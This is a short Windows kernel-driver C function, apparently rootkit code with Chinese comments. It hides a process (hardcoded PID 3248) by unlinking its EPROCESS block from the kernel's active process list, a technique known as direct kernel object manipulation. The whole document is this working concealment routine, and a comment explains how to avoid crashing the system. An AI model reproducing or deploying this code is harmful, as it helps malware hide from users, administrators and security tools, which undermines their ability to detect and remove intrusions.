NTSTATUS HideProc()
{
PLIST_ENTRY plist_active_procs;
ULONG FLINKOFFSET,eproc;
// Find the EPROCESS to hide.
eproc = FindProcessEPROC(3248);
FLINKOFFSET = 0x88;
if (eproc == 0x00000000)
{
DbgPrint("can't find the eproc!!");
return STATUS_INVALID_PARAMETER;
}
plist_active_procs = (LIST_ENTRY *)(eproc+FLINKOFFSET);
// Change the FLINK and BLINK of the rearward and forward EPROCESS blocks.
*((ULONG *)plist_active_procs->Blink) = (ULONG) plist_active_procs->Flink; //动作一
*((ULONG *)plist_active_procs->Flink+1) = (ULONG) plist_active_procs->Blink; //动作二
// Change the FLINK and BLINK of the process we are hiding so that when
// it is dereferenced, it points to a valid memory region.
plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink);
plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink);
//这里一定要把EPROCESS指向其自身 不然BSOD郁闷死你
return STATUS_SUCCESS;
}